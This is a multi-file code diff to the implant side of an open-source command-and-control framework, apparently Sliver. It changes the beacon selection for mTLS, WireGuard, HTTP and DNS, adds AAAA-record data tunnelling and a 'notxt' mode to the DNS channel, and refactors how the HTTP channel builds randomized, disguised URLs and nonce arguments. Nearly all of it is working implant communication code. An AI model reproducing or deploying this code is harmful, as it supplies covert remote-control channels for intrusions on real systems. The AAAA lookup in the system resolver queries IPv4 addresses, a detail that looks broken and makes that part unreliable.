||||
// {{if .Config.IncludeMTLS}}
|
||||
case "mtls":
|
||||
beacon = mtlsBeacon(uri)
|
||||
// {{end}} - MTLSc2Enabled
|
||||
// {{end}} - IncludeMTLS
|
||||
case "wg":
|
||||
// *** WG ***
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
beacon = wgBeacon(uri)
|
||||
// {{end}} - WGc2Enabled
|
||||
// {{end}} - IncludeWG
|
||||
case "https":
|
||||
fallthrough
|
||||
case "http":
|
||||
// *** HTTP ***
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
beacon = httpBeacon(uri)
|
||||
// {{end}} - HTTPc2Enabled
|
||||
// {{end}} - IncludeHTTP
|
||||
|
||||
case "dns":
|
||||
// *** DNS ***
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
// {{if .Config.IncludeDNS}}
|
||||
beacon = dnsBeacon(uri)
|
||||
// {{end}} - DNSc2Enabled
|
||||
// {{end}} - IncludeDNS
|
||||
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
@@ -180,7 +180,7 @@ func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
|
||||
return nextBeacon
|
||||
}
|
||||
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
// {{if .Config.IncludeMTLS}}
|
||||
func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Beacon -> %s", uri.String())
|
||||
@@ -230,7 +230,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
func wgBeacon(uri *url.URL) *Beacon {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Establishing Beacon -> %s", uri.String())
|
||||
@@ -290,7 +290,7 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
func httpBeacon(uri *url.URL) *Beacon {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -335,7 +335,7 @@ func httpBeacon(uri *url.URL) *Beacon {
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
// {{if .Config.IncludeDNS}}
|
||||
func dnsBeacon(uri *url.URL) *Beacon {
|
||||
var client *dnsclient.SliverDNSClient
|
||||
var err error
|
||||
@@ -371,6 +371,6 @@ func dnsBeacon(uri *url.URL) *Beacon {
|
||||
return beacon
|
||||
}
|
||||
|
||||
// {{end}} - DNSc2Enabled
|
||||
// {{end}} - IncludeDNS
|
||||
|
||||
// {{end}} - IsBeacon
|
||||
@@ -50,7 +50,7 @@ package dnsclient
|
||||
fallback to Base32 if we detect problems.
|
||||
*/
|
||||
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
// {{if .Config.IncludeDNS}}
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
@@ -92,6 +92,7 @@ var (
|
||||
ErrInvalidResponse = errors.New("invalid response")
|
||||
ErrInvalidIndex = errors.New("invalid start/stop index")
|
||||
ErrEmptyResponse = errors.New("empty response")
|
||||
ErrInvalidMsg = errors.New("invalid dns message")
|
||||
)
|
||||
|
||||
// DNSOptions - c2 specific options
|
||||
@@ -102,6 +103,7 @@ type DNSOptions struct {
|
||||
MaxErrors int
|
||||
WorkersPerResolver int
|
||||
ForceBase32 bool
|
||||
NoTXT bool
|
||||
ForceResolvConf string
|
||||
ForceResolvers string
|
||||
}
|
||||
@@ -141,6 +143,7 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
|
||||
MaxErrors: maxErrors,
|
||||
WorkersPerResolver: workersPerResolver,
|
||||
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
|
||||
NoTXT: strings.ToLower(c2URI.Query().Get("notxt")) == "true",
|
||||
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
|
||||
ForceResolvers: c2URI.Query().Get("resolvers"),
|
||||
}
|
||||
@@ -167,6 +170,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
|
||||
metadata: map[string]*ResolverMetadata{},
|
||||
parent: parent,
|
||||
forceBase32: opts.ForceBase32,
|
||||
noTXT: opts.NoTXT,
|
||||
forceResolvConf: opts.ForceResolvConf,
|
||||
forceResolvers: opts.ForceResolvers,
|
||||
queryTimeout: opts.QueryTimeout,
|
||||
@@ -192,6 +196,7 @@ type SliverDNSClient struct {
|
||||
retryCount int
|
||||
queryTimeout time.Duration
|
||||
forceBase32 bool
|
||||
noTXT bool
|
||||
forceResolvConf string
|
||||
forceResolvers string
|
||||
subdataSpace int
|
||||
@@ -256,6 +261,8 @@ func (w *DNSWorker) Start(id int, recvQueue <-chan *DNSWork, sendQueue <-chan *D
|
||||
switch work.QueryType {
|
||||
case dns.TypeA:
|
||||
data, _, err = w.resolver.A(work.Domain)
|
||||
case dns.TypeAAAA:
|
||||
data, _, err = w.resolver.AAAA(work.Domain)
|
||||
case dns.TypeTXT:
|
||||
data, _, err = w.resolver.TXT(work.Domain)
|
||||
}
|
||||
@@ -292,7 +299,7 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
s.resolvers = []DNSResolver{}
|
||||
for _, server := range s.resolvConf.Servers {
|
||||
s.resolvers = append(s.resolvers,
|
||||
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout),
|
||||
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
|
||||
)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
@@ -340,6 +347,14 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
if len(respData) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in message")
|
||||
// {{end}}
|
||||
return ErrEmptyResponse
|
||||
}
|
||||
|
||||
data, err := s.cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -389,7 +404,14 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
|
||||
}
|
||||
resp := []byte{}
|
||||
for _, subdata := range allSubdata {
|
||||
respData, _, err := resolver.TXT(subdata)
|
||||
|
||||
var respData []byte
|
||||
var err error
|
||||
if s.noTXT {
|
||||
respData, _, err = resolver.AAAA(subdata)
|
||||
} else {
|
||||
respData, _, err = resolver.TXT(subdata)
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg failure %v", err)
|
||||
@@ -398,6 +420,11 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
|
||||
}
|
||||
if 0 < len(respData) {
|
||||
resp = append(resp, respData...)
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in response")
|
||||
// {{end}}
|
||||
return nil, ErrInvalidResponse
|
||||
}
|
||||
}
|
||||
return resp, nil
|
||||
@@ -425,6 +452,7 @@ func (s *SliverDNSClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
|
||||
// ReadEnvelope - Recv an envelope from the server
|
||||
func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
var respData []byte
|
||||
if s.closed {
|
||||
return nil, ErrClosed
|
||||
}
|
||||
@@ -444,14 +472,26 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] poll msg domain: %v", domain)
|
||||
// {{end}}
|
||||
respData, _, err := resolver.TXT(domain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
if s.noTXT {
|
||||
respData, _, err = resolver.AAAA(domain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
respData, _, err = resolver.TXT(domain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] read msg resp data: %v", respData)
|
||||
// {{end}}
|
||||
if len(respData) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in response")
|
||||
// {{end}}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -471,10 +511,38 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(respData) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in message")
|
||||
// {{end}}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
plaintext, err := s.cipherCtx.Decrypt(ciphertext)
|
||||
if err != nil && err != cryptography.ErrReplayAttack {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
//Send clear
|
||||
clearMsg, err := s.clearMsg(dnsMsg.ID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
domain, err = s.joinSubdataToParent(clearMsg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] clear msg domain: %v", domain)
|
||||
// {{end}}
|
||||
|
||||
respData, _, err = resolver.A(domain)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] clear msg error: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(plaintext, envelope)
|
||||
return envelope, err
|
||||
@@ -529,7 +597,12 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
|
||||
return nil, ErrInvalidResponse
|
||||
}
|
||||
|
||||
const bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
|
||||
var bytesPerTxt uint32
|
||||
if s.noTXT {
|
||||
bytesPerTxt = 192
|
||||
} else {
|
||||
bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
|
||||
}
|
||||
|
||||
wg := &sync.WaitGroup{}
|
||||
results := make(chan *DNSResult, int(manifest.Size/bytesPerTxt)+1)
|
||||
@@ -555,11 +628,21 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
|
||||
}
|
||||
|
||||
wg.Add(1)
|
||||
s.recvQueue <- &DNSWork{
|
||||
QueryType: dns.TypeTXT,
|
||||
Domain: domain,
|
||||
Wg: wg,
|
||||
Results: results,
|
||||
|
||||
if s.noTXT {
|
||||
s.recvQueue <- &DNSWork{
|
||||
QueryType: dns.TypeAAAA,
|
||||
Domain: domain,
|
||||
Wg: wg,
|
||||
Results: results,
|
||||
}
|
||||
} else {
|
||||
s.recvQueue <- &DNSWork{
|
||||
QueryType: dns.TypeTXT,
|
||||
Domain: domain,
|
||||
Wg: wg,
|
||||
Results: results,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -570,6 +653,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
|
||||
recvData := make(chan []byte)
|
||||
errors := []error{}
|
||||
go func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Manifest Len: %d ", manifest.Size)
|
||||
// {{end}}
|
||||
recvDataBuf := make([]byte, manifest.Size)
|
||||
for result := range results {
|
||||
if result.Err != nil {
|
||||
@@ -577,11 +663,14 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
|
||||
continue
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] read result data: %v", result.Data)
|
||||
log.Printf("[dns] read result data: Len: %d %v", len(result.Data), result.Data)
|
||||
// {{end}}
|
||||
recvMsg := &dnspb.DNSMessage{}
|
||||
err := proto.Unmarshal(result.Data, recvMsg)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] unmarshal error: %s", err)
|
||||
// {{end}}
|
||||
errors = append(errors, result.Err)
|
||||
continue
|
||||
}
|
||||
@@ -589,6 +678,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
|
||||
log.Printf("[dns] recv msg: %v", recvMsg)
|
||||
// {{end}}
|
||||
if manifest.Size < recvMsg.Start || int(manifest.Size) < int(recvMsg.Start)+len(recvMsg.Data) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] invalid index")
|
||||
// {{end}}
|
||||
errors = append(errors, ErrInvalidIndex)
|
||||
continue
|
||||
}
|
||||
@@ -814,6 +906,23 @@ func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
|
||||
nonceBuf := make([]byte, 8)
|
||||
rand.Read(nonceBuf)
|
||||
clearMsg, _ := proto.Marshal(&dnspb.DNSMessage{
|
||||
ID: msgId,
|
||||
Type: dnspb.DNSMessageType_CLEAR,
|
||||
Data: nonceBuf,
|
||||
})
|
||||
if s.enableCaseSensitiveEncoder {
|
||||
msg, _ := s.base58.Encode(clearMsg)
|
||||
return string(msg), nil
|
||||
} else {
|
||||
msg, _ := s.base32.Encode(clearMsg)
|
||||
return string(msg), nil
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) otpMsg() (string, error) {
|
||||
otpMsg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_TOTP,
|
||||
@@ -992,4 +1101,4 @@ func (s *SliverDNSClient) randomResolver() (DNSResolver, *ResolverMetadata) {
|
||||
return resolver, s.metadata[resolver.Address()]
|
||||
}
|
||||
|
||||
// {{end}} -DNSc2Enabled
|
||||
// {{end}} -IncludeDNS
|
||||
@@ -39,7 +39,7 @@ var (
|
||||
)
|
||||
|
||||
// NewGenericResolver - Instantiate a new generic resolver
|
||||
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration) DNSResolver {
|
||||
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration, parent string) DNSResolver {
|
||||
if retries < 1 {
|
||||
retries = 1
|
||||
}
|
||||
@@ -52,6 +52,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
|
||||
WriteTimeout: timeout,
|
||||
},
|
||||
base64: encoders.Base64Encoder{},
|
||||
parent: parent,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -62,6 +63,7 @@ type GenericResolver struct {
|
||||
retryWait time.Duration
|
||||
resolver *dns.Client
|
||||
base64 encoders.Base64Encoder
|
||||
parent string
|
||||
}
|
||||
|
||||
// Address - Return the address of the resolver
|
||||
@@ -114,6 +116,87 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) {
|
||||
return records, rtt, err
|
||||
}
|
||||
|
||||
// AAAA - Query for AAAA records
|
||||
func (r *GenericResolver) AAAA(domain string) ([]byte, time.Duration, error) {
|
||||
var resp []byte
|
||||
var rtt time.Duration
|
||||
var err error
|
||||
for attempt := 0; attempt < r.retries; attempt++ {
|
||||
resp, rtt, err = r.aaaa(domain)
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] query error: %s (retry wait: %s)", err, r.retryWait)
|
||||
// {{end}}
|
||||
time.Sleep(r.retryWait)
|
||||
}
|
||||
return resp, rtt, err
|
||||
}
|
||||
|
||||
func (r *GenericResolver) aaaa(domain string) ([]byte, time.Duration, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] %s->AAAA record of %s ?", r.address, domain)
|
||||
// {{end}}
|
||||
resp, rtt, err := r.localQuery(domain, dns.TypeAAAA)
|
||||
if err != nil {
|
||||
return nil, rtt, err
|
||||
}
|
||||
if resp.Rcode != dns.RcodeSuccess {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] error response status: %v", resp.Rcode)
|
||||
// {{end}}
|
||||
return nil, rtt, ErrInvalidRcode
|
||||
}
|
||||
records := make([]byte, 512)
|
||||
dataSize := uint32(0)
|
||||
|
||||
if len(resp.Answer) > 0 {
|
||||
for _, answer := range resp.Answer {
|
||||
switch answer := answer.(type) {
|
||||
case *dns.AAAA:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] answer (aaaa): %v", answer.AAAA)
|
||||
// {{end}}
|
||||
|
||||
chunkMeta := uint32(answer.Hdr.Ttl)
|
||||
chunkIdx := (chunkMeta & 0xff00) >> 8
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] chunk idx: %d", chunkIdx)
|
||||
// {{end}}
|
||||
|
||||
tempSize := chunkMeta & 0xff
|
||||
if dataSize != 0 {
|
||||
if tempSize != dataSize {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] inconsistent record size. should all be the same: %d", tempSize)
|
||||
// {{end}}
|
||||
return nil, rtt, ErrInvalidResponse
|
||||
}
|
||||
} else {
|
||||
dataSize = tempSize
|
||||
}
|
||||
|
||||
copy(records[chunkIdx*16:], []byte(answer.AAAA))
|
||||
//records = append(records, []byte(answer.AAAA)...)
|
||||
}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
} else {
|
||||
log.Printf("[dns] answer (aaaa): no records returned")
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
data := []byte{}
|
||||
if dataSize > 0 {
|
||||
// Trim output data
|
||||
data = make([]byte, dataSize)
|
||||
copy(data, records[0:dataSize])
|
||||
}
|
||||
|
||||
return data, rtt, err
|
||||
}
|
||||
|
||||
// TXT - Query for TXT records
|
||||
func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) {
|
||||
var resp []byte
|
||||
@@ -145,18 +228,24 @@ func (r *GenericResolver) txt(domain string) ([]byte, time.Duration, error) {
|
||||
}
|
||||
|
||||
records := ""
|
||||
for _, answer := range resp.Answer {
|
||||
switch answer := answer.(type) {
|
||||
case *dns.TXT:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] answer (txt): %v", answer.Txt)
|
||||
// {{end}}
|
||||
records += strings.Join(answer.Txt, "")
|
||||
}
|
||||
}
|
||||
data := []byte{}
|
||||
if 0 < len(records) {
|
||||
data, err = r.base64.Decode([]byte(records))
|
||||
if len(resp.Answer) > 0 {
|
||||
for _, answer := range resp.Answer {
|
||||
switch answer := answer.(type) {
|
||||
case *dns.TXT:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] answer (txt): %v", answer.Txt)
|
||||
// {{end}}
|
||||
records += strings.Join(answer.Txt, "")
|
||||
}
|
||||
}
|
||||
if 0 < len(records) {
|
||||
data, err = r.base64.Decode([]byte(records))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
} else {
|
||||
log.Printf("[dns] answer (txt): no records returned")
|
||||
// {{end}}
|
||||
}
|
||||
return data, rtt, err
|
||||
}
|
||||
|
||||
@@ -19,6 +19,7 @@ package dnsclient
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -70,6 +71,26 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
|
||||
return addrs, rtt, nil
|
||||
}
|
||||
|
||||
// AAAA - Query for AAAA records
|
||||
func (r *SystemResolver) AAAA(domain string) ([]byte, time.Duration, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] %s->AAAA record of %s?", r.Address(), domain)
|
||||
// {{end}}
|
||||
started := time.Now()
|
||||
ips, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", domain)
|
||||
rtt := time.Since(started)
|
||||
if err != nil {
|
||||
return nil, rtt, err
|
||||
}
|
||||
var addrs []byte
|
||||
for _, ip := range ips {
|
||||
if ip.To16() != nil {
|
||||
addrs = append(addrs, ip.To16()...)
|
||||
}
|
||||
}
|
||||
return addrs, rtt, nil
|
||||
}
|
||||
|
||||
// TXT - Query for TXT records
|
||||
func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -26,5 +26,6 @@ import (
|
||||
type DNSResolver interface {
|
||||
Address() string
|
||||
A(string) ([]byte, time.Duration, error)
|
||||
AAAA(string) ([]byte, time.Duration, error)
|
||||
TXT(string) ([]byte, time.Duration, error)
|
||||
}
|
||||
@@ -3,7 +3,7 @@ package main
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"io"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
@@ -138,7 +138,7 @@ func processFile(
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
if b, err = ioutil.ReadAll(f); err != nil {
|
||||
if b, err = io.ReadAll(f); err != nil {
|
||||
return fmt.Errorf("failed to read %s: %w", file, err)
|
||||
}
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ package httpclient
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
@@ -48,8 +48,8 @@ import (
|
||||
var (
|
||||
goHTTPDriver = "go"
|
||||
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
nonceQueryArgs = "{{.HTTPC2ImplantConfig.NonceQueryArgs}}" // "abcdefghijklmnopqrstuvwxyz"
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
NonceQueryArgChars = "{{.HTTPC2ImplantConfig.NonceQueryArgChars}}" // "abcdefghijklmnopqrstuvwxyz"
|
||||
|
||||
ErrClosed = errors.New("http session closed")
|
||||
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
|
||||
@@ -57,8 +57,8 @@ var (
|
||||
)
|
||||
|
||||
// {{if .Config.Debug}} -- UNIT TESTS ONLY
|
||||
func SetNonceQueryArgs(queryArgs string) {
|
||||
nonceQueryArgs = queryArgs
|
||||
func SetNonceQueryArgChars(queryArgs string) {
|
||||
NonceQueryArgChars = queryArgs
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
@@ -197,11 +197,11 @@ func (s *SliverHTTPClient) SessionInit() error {
|
||||
// NonceQueryArgument - Adds a nonce query argument to the URL
|
||||
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value uint64) *url.URL {
|
||||
values := uri.Query()
|
||||
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
key := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
|
||||
argValue := fmt.Sprintf("%d", value)
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(argValue))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
char := string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
|
||||
argValue = argValue[:index] + char + argValue[index:]
|
||||
}
|
||||
values.Add(string(key), argValue)
|
||||
@@ -212,11 +212,11 @@ func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value uint64) *url.U
|
||||
// OTPQueryArgument - Adds an OTP query argument to the URL
|
||||
func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL {
|
||||
values := uri.Query()
|
||||
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
key1 := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
|
||||
key2 := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(value))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
char := string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
|
||||
value = value[:index] + char + value[index:]
|
||||
}
|
||||
values.Add(string([]byte{key1, key2}), value)
|
||||
@@ -277,7 +277,7 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
|
||||
}
|
||||
|
||||
extraURLParams := []nameValueProbability{
|
||||
// {{range $param := .HTTPC2ImplantConfig.URLParameters}}
|
||||
// {{range $param := .HTTPC2ImplantConfig.ExtraURLParameters}}
|
||||
{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
|
||||
// {{end}}
|
||||
}
|
||||
@@ -426,7 +426,7 @@ func (s *SliverHTTPClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
if s.SessionID == "" {
|
||||
return nil, errors.New("no session")
|
||||
}
|
||||
uri := s.pollURL()
|
||||
uri := s.parseSegments(0)
|
||||
nonce, encoder := encoders.RandomEncoder(0)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
@@ -501,7 +501,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
return err
|
||||
}
|
||||
|
||||
uri := s.sessionURL()
|
||||
uri := s.parseSegments(1)
|
||||
nonce, encoder := encoders.RandomEncoder(len(reqData))
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
encodedValue, _ := encoder.Encode(reqData)
|
||||
@@ -549,7 +549,7 @@ func (s *SliverHTTPClient) CloseSession() error {
|
||||
s.pollCancel = nil
|
||||
|
||||
// Tell server session is closed
|
||||
uri := s.closeURL()
|
||||
uri := s.parseSegments(2)
|
||||
nonce, _ := encoders.RandomEncoder(0)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
@@ -585,71 +585,75 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
|
||||
return strings.Join(segments, "/")
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) pollURL() *url.URL {
|
||||
func (s *SliverHTTPClient) parseSegments(segmentType int) *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
var (
|
||||
pollFiles []string
|
||||
pollPaths []string
|
||||
sessionFiles []string
|
||||
sessionPaths []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
)
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.PollPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.PollFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
// {{range .HTTPC2ImplantConfig.PathSegments}}
|
||||
// {{if eq .SegmentType 0 }}
|
||||
// {{if .IsFile}}
|
||||
pollFiles = append(pollFiles, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
pollPaths = append(pollPaths, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .SegmentType 1}}
|
||||
// {{if .IsFile}}
|
||||
sessionFiles = append(sessionFiles, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
sessionPaths = append(sessionPaths, "{{.Value}}")
|
||||
// {{end}}
|
||||
|
||||
// {{end}}
|
||||
// {{if eq .SegmentType 2}}
|
||||
// {{if .IsFile}}
|
||||
closeFiles = append(closeFiles, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
closePaths = append(closePaths, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
switch segmentType {
|
||||
case 0:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(pollPaths, pollFiles, "{{ .HTTPC2ImplantConfig.PollFileExtension }}"))
|
||||
case 1:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(sessionPaths, sessionFiles, "{{ .HTTPC2ImplantConfig.SessionFileExtension }}"))
|
||||
case 2:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(closePaths, closeFiles, "{{.HTTPC2ImplantConfig.CloseFileExtension}}"))
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.PollFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) startSessionURL() *url.URL {
|
||||
sessionURI := s.sessionURL()
|
||||
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExt }}")
|
||||
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExt }}"
|
||||
sessionURI := s.parseSegments(1)
|
||||
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExtension }}")
|
||||
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExtension }}"
|
||||
curl, _ := url.Parse(uri)
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) sessionURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.SessionPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.SessionFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
